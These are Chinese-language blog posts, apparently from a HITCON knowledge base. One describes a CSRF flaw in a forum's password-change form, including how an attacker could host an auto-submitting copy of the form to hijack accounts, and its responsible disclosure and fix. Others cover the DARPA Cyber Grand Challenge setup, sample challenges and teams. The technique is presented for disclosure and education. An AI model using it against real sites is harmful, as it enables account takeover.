在某個時間點,我頓時無聊開始遍尋找漏洞起來,逛到了iT 邦幫忙網站 就想碰碰個機會有沒有辦法找到一些相關小漏洞來試試下手感 ,就好看到了會員中心讓我想起一個OWASP top 10 弱點漏洞
Tumblr media
看到圖你就已經應該知道你該要弄什麼手法之後來踹看看了XD 在看第二張
Tumblr media
對xD ,很明顯了有個表單之後也有action 來傳送該表單所填入的訊息傳回到伺服器,可以利用看看是否有CSRF ,但是看到上圖有個值為 (_token ) 來判斷用戶表單所發出的相關請求驗證或者用戶身份驗證,所以如果來說此會話如果有效那麼利用起來是無法造成跨站存域漏洞的,所以我去掉該值( token ) 試試
Tumblr media
之後把區塊表單HTML 程式碼貼上在本機測試(已經去掉Token ) ,所以我們嘗試看看是否會有效果。
然後在本機開啟為儲存表單的網頁
Tumblr media
然後輸入你要修改的任何密碼,之後確定
Tumblr media
噔噔!!XD 竟然密碼修改成功了!此事證明了那組在個人資料(修改密碼) 區域 token 是沒有達到驗證或讓這組發���作用,導致了CSRF ,這是極為嚴重漏洞,因為攻擊者可以構造Poc 和表單一模一樣的程式碼(HTML) 語法,之後上傳到自己網站伺服器(第三方網站) 。
若使用者訪問此網站那麼你的密碼就會被惡意攻擊者修改(劫持帳號) ,但是你可能又會說他修改了我不是會跳回原本的會員中心之後提示成功不是會有所警覺嗎(在修改回來就好),但是相對攻擊者可以在程式碼寫個自動填入他要的一組密碼之後再傳送成功及跳回其他網站,沒有顯示相關成功頁面就好XD
更何況iT邦幫忙論壇使用者名稱是帳號所以發給特定受害者就可以達到目標了
最後回憶剛剛那組code
Tumblr media
在第八行連結個人檔案後面有個數字ID ,我也認為應該是工程師效驗用戶身份或來對每個使用者登入發請求的認證請求ID ,但是他也是和會話並沒有效果,所以數字可以亂填都沒有影響在修改密碼過程中。
最後我認為最根本原因,是這組token 沒有真正發揮他要有的作用導致可以隨便輕鬆劫持每個用戶帳戶
之後把情況詳情回報給了iThome ,他們也非常快的響應漏洞和修復速度,讓我不僅佩服目前自己見過全台灣修復、回應最快的公司之一,值得企業、政府效仿對象!
影片測試漏洞連結:
https://drive.google.com/file/d/0ByrwRfdtgouycWtrNk1xNHZTczA/view
時間:
2017/3/12 :漏洞詳情和poc 回報給iThome
2017/3/13 :修復了此漏洞
0 notes
hitcon-kb · 8 years ago
Text
台灣駭客挑戰美國CGC天網機器人專題系列報導(十一):身歷其境,CGC戰場導覽
CGC決賽已經結束了,第一名是ForAllSecure的Mayhem CRS,防禦較好的TECHx則在第二名,而Shellphish則是第三名。我們的報導也將進入另一個階段了。決賽的影片官方應該會在不久後釋出,讓我們來向各位介紹CGC的戰場長什麼樣子,並包含了哪些含義。讓大家即使不能到拉斯維加斯現場觀戰,也能稍稍體會比賽比的進行。 當然,這場比賽是由一隻隻的程式所組成,每隊會有自己的CRS系統,自動化進行網路的攻防。從取得要分析的程式,建構攻擊程式到產生修補程式進行防禦。一切的一切都是在一堆0和1組成的位元中進行,為了避免一般人看不懂,或是覺得相當無聊。因此DARPA設計了一系列的視覺化圖示,讓大家都能輕鬆看懂比賽進程,體會參賽者個緊張感。
youtube
https://www.youtube.com/watch?v=1CnBXValaHw
為了即時呈現現場七隊攻防系統,成千上萬的封包流動,DARPA發展了一套軌跡檢視器(Trace Viewer)。在這個檢視器中,可以顯示程式的運行方式,看程式運行了哪些程式碼,在哪邊跑了個分枝,在哪邊做了個迴圈。而各種程式結構,都會組成特別的形狀,我們可以據以了解程式行為。若我們未來能藉由這樣的檢視器,讓我們能更直接快速的了解程式行為,有可能可以降低許多分析的時間。
而根據不同程式的運行方式,也可以來比較修補前後的差異在哪邊,如同下圖便是修補前後程式的軌跡,我們可以觀察前面那條路徑比較早結束,而較後面那條路徑重覆的執行了許多相同的動作後才結束。
除了比較偏重於程式層級的視覺化介面以外,DARPA也為CGC準備的一套競技場檢視圖,即時反應比賽期間各隊的互動。在這個圖片中,每個隊伍都以一張卡片表示,這張卡片稱為Team Card。每個卡片中包含多個六角形圖示,每個小圖示就代表一個Challenge Binary,即是要進行攻防的程式。 其中從畫面前端射向六角形的光束,代表者所有進入的封流量,包含著一般正常流量及攻擊流量。而在各隊間互相射擊的光束,代表各隊間的攻防,若是有攻擊成功,便會有道光束指向被攻擊的服務。
youtube
https://www.youtube.com/watch?v=8deTat4-O7M
以上影片詳細的為大家說明這些圖代表的意義,我們也會為大家做一些簡要說明。我們也截圖幫大家整理一下。 這樣的圖示,代表這一支程式正常運行
在圖示中間圓圈中,多了一層藍色的光環,則代表這支程式有加入IDS,類似於防火牆的防禦。
下面的圖示,則代表這個程式正在修補中,為模擬真實世界,當你在進行程式修補時,會有一回合的時間,是會將程式離線的。
最後一個圖示與上面類似,當隊伍放上新的IDS規則時,這個服務也會離線一回合。
在比賽過程中,會有兩種流量進到各個程式。其中白色圓球的部份代表Service Polls,這代表現實世界中的正常流量,而程式比需正確處理這些流量,並將正常程式正常的反應輸出。若是因為修補上的錯誤,沒有正確處理這類流量,則會被扣分。 另外,黃色箭頭(或其他顏色)則是代表POV(攻擊流量),各隊則須透過修補程式或用IDS防禦,阻擋這類攻擊。箭頭的顏色則代表攻擊的隊伍。
而這些服務(程式)被攻擊後,其狀態也會隨之改變。如下圖所示,若是服務被其他隊伍攻陷,則服務會變成攻擊隊伍的顏色。 而白色圓圈在接近程式時(六角型圖片),也會改變顏色,紅色代表這個poller是失敗的,該隊會被扣分。而綠色則代表一切正常。
讓我們將所有東西結合起來,就會如以下影片所展示,這便是CGC時參賽成員所會看到的。
youtube
https://www.youtube.com/watch?v=14Zy9u6sTfY
0 notes
hitcon-kb · 9 years ago
Text
台灣駭客挑戰美國CGC天網機器人專題系列報導(十):CGC平台實驗
作者: 陳仲寬
        這部分以整體系統的角度帶大家瞭解CGC的概念,並與實際CGC系統聯繫起來,再以CGC Virtual Competition Evironment的實驗,實際運行一次虛擬的CGC比賽,以體驗比賽的狀況。本文參考CGC Virtual Competition的文章,帶大家進行一次虛擬的CGC競賽。這個競賽中,我們並不會真正運行程式,而是透過模擬比賽的方式,讓大家了解技術層面的東西。
基礎平台設定
        首先,Darpa官方提供了一組Vagrant的設定,可以快速幫我們設定好這套系統,並自動裝好系統中的機器。Vagrant是一套自動化開發環境建構的工具,提供自動化虛擬機器的設定及建構功能。安裝Vagrant,可至Vagrant官網下載安裝程式,按照指令即可安裝Vagrant系統。接著,我們可以來建立實驗環境,依照以下指令安裝cgc環境。
mkdir cgc2 wget https://s3.amazonaws.com/cgcdist/boxes/Vagrantfile vagrant up
你會看到以下畫面,代表vagrant正在安裝多台CGC平台機器。                
Tumblr media
安裝完成後,我們可用以下指令觀察系統狀態。
vagrant status
Tumblr media
可以看到vagrant已經架設五台機器,並都做好設定。利用vagrant我們可以向操作虛擬機器一樣操作這些機器,例如:suspend, resume, halt, destroy                
Tumblr media Tumblr media
從這些訊息中,我們可以看到有多台機器,各機器角色如下:
cb:這台機器使用來放置並運行競賽程式(Challenge Binary)。
ids:這台機器會擋在cb的前面,所有進來的流量,會先經過這台機器,在網路曾進行過濾。而過濾的規則各個隊伍透過ti進行設置。
pov:這台機器負責送出攻擊碼(漏洞驗證碼,pov),而送出後會先經由ids再到cb這台機器,做最後的執行與判斷攻擊是否成功。
crs:這台機器用來模擬CRS系統,其實不在CGC平台中,所以這台機器會透過ti這台機器,來與CGC平台溝通。
vagrant ssh
Tumblr media
ti(Team Interface): 這台機器用作於當作CGC系統的介面,各隊伍可以利用這個介面取得或更新更像資訊,像是上傳Patch過後的程式或下載別隊的程式,都要透過這個介面。 我們可以用以下指令,連進這台機器:
vagrant ssh ti
Tumblr media
cb介紹及實例
        我們現在已經把機器跑起來,下一步則是要安裝比賽用的題目,我們這邊拿CQE的CADET_00003這個題目來練習。可以依照以下指令編譯這道題目。
cd /usr/share/cgc-sample-challenges/examples/CADET_00003 sudo make build generate-polls install
程式執行檔位於 /usr/share/cgc-sample-challenges/examples/CADET_00003/bin。我們直接執行這隻程式結果如下:
Tumblr media
我們可以看到Segmentation Fault出現了!!代表讀者已經完成這一題了XD,當然這是為了demo方便,實際上題目不會比這個簡單。所以我們可以去看pov檔案來驗證我們的想法,在pov資料夾中,有一些主辦方已經寫好的攻擊程式(pov)如下。                 
Tumblr media
可以看到他做的事與我們差不多,這個攻擊碼也是送了一堆A來造成程式錯誤,應該是一個經典的buffer overflow漏洞。
replay poller/for-release/GEN_00001.xm
<?xml version=“1.0” standalone=“no” ?> <!DOCTYPE pov SYSTEM “/usr/share/cgc-docs/replay.dtd”> <pov> <cbid>service</cbid> <seed>ec640096e6c1a14ed790ac57e1af6a5735ad9c9094e94bf01c54800625181db12c9bcd2f50f8d76e3477cb0f8cd95975</seed> <replay>     <read><delim>\x0a</delim><match><data>\x0a</data></match></read>     <read><delim>\x0a</delim><match><data>Welcome to Palindrome Finder\x0a</data></match></read>     <read><delim>\x0a</delim><match><data>\x0a</data></match></read>     <read><length>37</length><match><data>\x09Please enter a possible palindrome: </data></match></read>     <write><data>f8uvu9HY9fJmvWnccovA4hDdc\x0a</data></write>     <read><delim>\x0a</delim><match><data>\x09\x09Nope\x2c that\x27s not a palindrome\x0a</data></match></read>     <read><delim>\x0a</delim><match><data>\x0a</data></match></read>     <read><length>37</length><match><data>\x09Please enter a possible palindrome: </data></match></read>     <write><data>XV3MHHvJp\x0a</data></write>     <read><delim>\x0a</delim><match><data>\x09\x09Nope\x2c that\x27s not a palindrome\x0a</data></match></read>     <read><delim>\x0a</delim><match><data>\x0a</data></match></read>     <read><length>37</length><match><data>\x09Please enter a possible palindrome: </data></match></read>     <write><data>bGqRQMgK69RzHhT7ssKwotKOoqk8\x0a</data></write>     <read><delim>\x0a</delim><match><data>\x09\x09Nope\x2c that\x27s not a palindrome\x0a</data></match></read> </replay> </pov>
接著我們來測試攻擊碼能不能成功,cb-test這個工具可以幫我們完成相當多的測試。
cd /usr/share/cgc-sample-challenges/examples/CADET_00003 cb-test  –xml_dir pov –director bin –cb CADET_00003 –should_core
Tumblr media
可以看到Type 1 POV 成功。在官方資料中,也有給修補過後的程式,位置在:
/usr/share/cgc-sample-challenges/examples/CADET_00003/bin/CADET_00003_patched
讀者也可以跑一下看看發生什麼事。以下指令則測試binary是否能通過poller test,測試你的修補沒有破壞程式原有功能。
cb-test –cb CADET_00003 –directory bin –xml poller/for-release/GEN_00001.xml
Tumblr media
最後一個跟cb相關的要件是ids,我們可以在ids資料夾下面看到ids設定,這個檔案大多是依靠七個自定義行為,及一些regular expression來處理。        
Tumblr media
虛擬競賽
現在我們也瞭解一個binary的狀況了,最後我們利用官方的虛擬競賽,來體會機器人在比賽中要做的各項功能
。要開啟一場虛擬的比賽,需要以下步驟。
ti-rotate –roundlen 300
ti-server
Tumblr media
現在該到我們的重點了,我們可以先到crs這台機器上,這台機器象徵我們的自動攻防機器,所以所有操作都會在這台機器上。那讓我們先到這台機器。
vagrant ssh
進入CRS機器後,可以利用ti-client取得比賽資訊,或上傳下載資料。
Tumblr media
在上圖,我們分別利用round, scoreboard, teams指令,查詢當前回合, 各隊分數以及各隊編號。接著,我們介紹如何利用各種操作進行比賽。 其中feedback指令可以幫我們看一下現在binary的狀況,以及各攻擊代碼的效能。
Tumblr media
比賽中,我們需要撰寫攻擊程式碼以攻擊其他隊伍,因此我們首先透過ti-client上傳攻擊程式碼。         
Tumblr media
接著我們同樣去上傳我們的修補程式,避免被其他隊攻擊。
Tumblr media
我們也可以利用ti-client的upload_ids去上傳ids rule。 最後consensus指令可以幫我們取得其他隊的程式及IDS rule         
Tumblr media
        說明完這些指令,CGC平台就紹就暫時告段落了。在這篇文章中,我們帶大家安裝CGC的實驗環境,所有比賽或分析,都可以在平台上進行。接著帶大家簡單看一下一隻程式範例CADET_00003。最後,則說明了如何架設虛擬的競賽,了解比賽中的各種操作。希望能讓大家更了解CGC比賽。
0 notes
hitcon-kb · 9 years ago
Text
台灣駭客挑戰美國CGC天網機器人專題系列報導(九):攻防賽戰場系統懶人包
作者: 李倫銓、陳仲寬
影片翻譯 HITCON翻譯組
如本專題(一) "美國 DARPA 為什麼要搞電腦漏洞自動化攻防 ? CGC的目標為何? ",說明之後,我們必須說以目前的作業系統的複雜度與安全性,CGC並沒辦法在目前的作業系統上進行,因為現今主流作業系統安全早就包含了 DEP、ASLR等等防禦機制,軟體安全發展至今哪有可能被自動化輕易打爆? 所以 CGC 採用了一種很單純的作業平台 DECREE,DARPA打算先讓自動化這件事成形,而且創造議題。
你說他沒有跟主流接軌? 不能這樣說,光CTF不具產業趨勢、光Symbolic Execution雖能當學術研究,但你如何證明你是最好的? CGC企劃成功串起了 CTF、自動化分析、產業趨勢、Machine learning等相關議題,便給予資安環境相當高的貢獻。
任何一隊發展出來的CRS系統,不是主辦單位驗證你的系統好,而是你透過比賽脫穎而出而證明你系統夠強,Darpa讓CGC企劃從基本的DECREE啟蒙,並且建立了一個評斷制度,加上透過CGC冠軍最後要加入人類駭客戰局(DEFCON CTF)的這個操作,創造了能見度,讓這個企劃有走下去的可能,這才是最成功的地方。
接下來,為了讓各位更迅速了解8/4 的CGC 比賽,究竟主辦方提供了什樣的環境,讓這七隊機器人能公平的在上面一較高下,我們會說明CGC的專有名詞。
DECREE全名是 DARPA Experimental Cybersecurity Research Evaluation Environment 是DARPA提供出來的一個專門用來做電腦安全研究的Open Source作業系統,它包括以下幾個特性:
單純性(Simplicity)  : 目前主流作業系統很複雜,至少提供了上百個系統呼叫,DECREE僅有7個,這種簡單的特性才能讓電腦自動分析漏洞,否則電腦根本無法分析。DECREE 也用自己的檔案格式,是改過的ELF格式,單一入口點,只有Main入口點而不像我們現在動態函式庫(如:dll, so)可能包含多個入口點,降低分析難度。
可重現性(High Determinism)  DECREE 調整過OS kernel,能夠紀錄完整的程式執行流程,這個特性非常重要,正常世界中有許多不確定因素,如時間、亂數等等,會讓漏洞分析相當困難。有程式執行流程才有辦法確認問題點,並重現問題或程式運作狀況。
限制性 (Incompatibility)  DECREE 和上面的檔案格式是專門設計給電腦安全研究,因此有自己的格式、跟主流作業系統的code和protocol並沒有一致,也就是,DECREE上面的程式漏洞沒辦法用在真實世界的作業系統,真實世界的程式漏洞沒辦法用在DECREE裡面。
DECREE 已經Open Source提供給相關漏洞分析、CTF競賽、及相關資安研究運用。可以從以下Github下載
https://github.com/CyberGrandChallenge/
Tumblr media Tumblr media
把這些東西兜在一起,就是CGC決賽的畫面,如下:
youtube
本文部分參考於DARPA網站
https://www.cybergrandchallenge.com/tech
0 notes
hitcon-kb · 9 years ago
Text
台灣駭客挑戰美國CGC天網機器人專題系列報導(八):開發自動化程式分析工具angr的CTF強隊Shellphish
撰文 李倫銓 、陳仲寬
影片翻譯 HITCON翻譯組
        Shellphish是個由加大聖塔芭芭拉分校學生們組成的CTF的傳統強隊,由UCSB 電腦安全研究團隊seclab組成。在所有競賽團隊中,Shellphish的CRS系統有最年輕的架構設計師。駭客版本的搶旗遊戲(CTF),幾乎就像我們參與過的搶旗遊戲,但是所謂的”旗幟“是由電腦資料組成,而戰場則是一行行的程式碼。而CTF選手必須進行逆向工程,去攻擊並且修復這些程式。 
youtube
        Shellphish成員表示,Shellphish是一隻成立已久的CTF團隊,一直以來都相當活躍,並參與相當多的CTF競賽。當DARPA宣布CGC計畫時,他們認為,這就是駭客攻防的未來。 Shellphish的自動推論系統MECHANICAL PHISH是基於Angr建構而成的。Angr是一個軟體套件,可用來建構分析深層程式碼的系統。Angr同時利用靜態及動態符號化(Symbolic Execution)執行,可以適用於多種不同的分析情境。這是一套Open Source的工具,大家可以到以下網址去研究他們系統。
https://github.com/angr
也可以參酌這兩年在駭客年會上相關的文章
From DEFCON to the Cyber Grand Challenge
Binary 自動分析的那些事
當這些駭客在進行hacking時,他們會取得要分析的binary程式,了解程式如何進行,並進一步操縱他的行為。因此Shellphish建構了一隻機器人來自動進行這些工作。他們團隊的研究主要專注在入侵偵測系統,在物聯網的趨勢逐漸成長之下,軟體具有漏洞的機會更高。因此Shellphish團隊希望透過這些系統阻止對智慧家電的攻擊入侵。
        Shellphish的Chris Salls認為,程式設計師在撰寫程式時都會犯錯,也沒辦法準確地找出並驗證所有系統漏洞。因此,許多部分將會越來越倚重於機器,讓機器來減輕人類的負擔。而這樣的方式將會增加一般使用者的安全。
0 notes
hitcon-kb · 9 years ago
Text
台灣駭客挑戰美國CGC天網機器人專題系列報導(七):AEG研究的第一人,初賽冠軍ForAllSecure
撰文 李倫銓 、陳仲寬
影片翻譯 HITCON翻譯組
        任何事物都將逐漸變成自動化的,心臟節律器、冰箱、任何物品都會連接上網路,並且撰寫軟體去控制這些物品。時常這些程式設計師並不了解怎樣撰寫安全的程式碼,但其撰寫的系統卻會影響全部的使用者。David Brumley教授認為要讓所有使用者都可以確認軟體是否安全,例如:使用者需要知道你買的智慧冰箱不會洩漏你的信用卡資訊,造成財務的損失。而安裝任何APP到你的手機時,也應該確認他不會偷取的的聯絡人資訊。         
        ForAllSecure是一間致力於網路安全的新創公司,大部份的成員是來自卡內基美隆大學,該團隊也長期參與CTF競賽,有許多成員是來自於CTF傳統強隊卡內基美隆大學的PPP團隊。駭客版本的搶旗遊戲(CTF),幾乎就像我們參與過的搶旗遊戲,但是所謂的”旗幟“是由電腦資料組成,而戰場則是一行行的程式碼。而CTF選手必須進行逆向工程,去攻擊並且修復這些程式。       
youtube
        相較於以往進步緩慢的人力分析,機器自動分析可說是一大突破。我們可以控制機器自動去尋找漏洞,在數分鐘的時間內,就可以處理十多個程式分析的工作,這是相當令人驚艷,人力也無法處理這麼多資訊的。而這正是CGC競賽想克服的,也是David Brumley教授的研究領域。他們的願景是可以檢測全世界的軟體,確認是否有可以被駭客利用的漏洞。並讓任何人都能確認自己使用的軟體系統是否有問題。因此他們團隊多年開發系統,不僅是想找出是否有系統Bug,更要確認這些bug是否會引發研究的安全漏洞。
         軟體bug是指會造成系統有不正確或預期以外的結果。CGC希望能夠自動化的找出並修正這些錯誤。ForAllSecure採取一個雙層的架構,Mayhem以及Murphy。Mayhem利用符號化執行去探索程式的深層路徑,並檢查是否有漏洞。相對於此,Murphy則是一套快速直覺的Fuzzer系統,可以快速觸發漏洞來證明軟體上的問題。藉由結合這兩個技術,ForAllSecure發現這樣的方式,遠比單獨使用這些技術更有效。並建構他們的CRS系統Mayhem。
        機器可以幫助我們非常有效率的去探索程式,但在進行漏洞利用時,人類的創意及直覺,是機器無法模仿的。因此真正要解決這些問題,因該要透過機器與人類互相搭配以達成。David Brumley教授也不認為機器將會取代人類,而是將人類將繁瑣重複的工作抽離出來,以發揮更有創意性的工作。
        David Brumley教授在軟體漏洞自動化上已經有相當久的研究基礎,在2011年NDSS會議上,發表了“AEG: Automatic Exploit Generation”,可以說是開啟了自動化漏洞利用的研究。2012年的S&P會議上,進一步發表AEG系統的後續研究“Unleashing Mayhem on Binary Code”,更是此次CGC中使用的Mayhem系統的原型。在2015年CGC出賽時,ForeAllSecure以相當程度的領先拿下了第一名的寶座,有興趣的讀者也可以進一步閱讀他們的Blog文章。 “Unleashing the Mayhem CRS”(https://blog.forallsecure.com/2016/02/09/unleashing-mayhem/)。 讓我們期待在經過一年後,ForAllSecure能夠有多少的進步,並是否能順利拿下CGC冠軍。
0 notes
hitcon-kb · 9 years ago
Text
台灣駭客挑戰美國CGC天網機器人專題系列報導(六):從無到有的黑馬,兩人團隊CSDS
撰文 李倫銓 、陳仲寬
影片翻譯 HITCON翻譯組
        這次文章介紹這次CGC的一隊黑馬CSDS,這支團隊僅憑兩位成員,在手上沒有任何分析系統的狀況下,從無到有,在一年內成功開發出一套CRS系統,並打進CGC決賽,令人驚訝。
youtube
       隨著我們越來越依賴網路技術,在這樣的環境下,我們與世界上的任何人都可以影響,甚至是攻擊破壞我們的系統,有時候僅是因為駭客們覺得有趣,並進行攻擊行為。在網路上,即使是沒有關聯的人,也可能被網路攻擊,造成財務或個人資料的損失。而CSDS希望能解決這樣的問題。  
        CSDS是安全及可信賴系統中心,這次成為CGC決賽選手,參與全世界第一個完全由機器進行的CTF(capture the flag)競賽。駭客版本的搶旗遊戲,幾乎就像我們參與過的搶旗遊戲,但是所謂的”旗幟“是由電腦資料組成,而戰場則是一行行的程式碼。而CTF選手必須進行逆向工程,去攻擊並且修復這些程式。 
        CSDS是一隻兩人團隊,由Jim Alves-Foss博士及Jia Song組成。CSDS完全從零開始,開發了他們的CRS系統JIMA。今日我們所使用的電腦安全系統,例如防毒軟體,依賴於專家人工進行分析後所得出的知識來進行防禦,常見的特徵碼及安全補丁都是這類。CRS則以完全不同的方式進行,會自動的進行調查並建立自己的知識,以搜尋程式的漏洞並撰寫自己的入侵偵測系統特徵碼及安全補丁。 自動化分析,需要克服相當多的難題。
        在一般的狀況下,對程式進行反組譯取得原本的組合語言是不可能的完全正確的。但在CGC的環境下,我們可以正確的反組譯,這是因為CGC環境下,統一使用CLang進行編譯,不會有混淆的情況發生。因此CSDS以此出發,開始思考可以進行哪些研究,快速的分析在DECREE平台下所產生的Binary會有怎樣的共同點。  
       DECREE是一套簡化過後的作業系統,這個系統完全為了CTF而設計。透過特殊的檔案格式以及簡單的系統介面,與世界上的系統都不相容。因此,並不會因為與一般軟體共享程式碼造成問題,也不會有長期潛藏在系統中的漏洞。因此,這個較單純的環境,適合拿來做研究及競賽。  
       CSDS完全以靜態的方式進行程式分析,來找出潛在漏洞的程式碼位置,並進行修補,以最有效率的方式取得競賽分數。參賽者Jia Song為Jim Alves-Foss的學生,對CGC項目有興趣,並在2014秋季左右共組團隊,兩位參賽成員皆沒有參與CTF的經驗。並在2015年異軍突起,成功晉級CGC決賽。Jim Alves-Foss表示,他們以兩個人的團隊,成功在測試競賽以及預賽,都取得前五名的成績,與全世界的強隊競爭。而其他隊伍都有悠久的歷史,並有相當多的paper發表。因此Jim Alves-Foss團隊參酌這些人的做法,並採取完全不同的方式。在團隊中,Jia Song負責設計找出程式漏洞的部分,而Jim則負責進行修補。 
        若是讀者有興趣深入了解這隻兩人團隊如何過關斬將,可以參考該團隊發表在IEEE S&P Magzine上面的文章。 
The DARPA Cyber Grand Challenge: A Competitor’s Perspective 
The DARPA Cyber Grand Challenge: A Competitor’s Perspective, Part 2
0 notes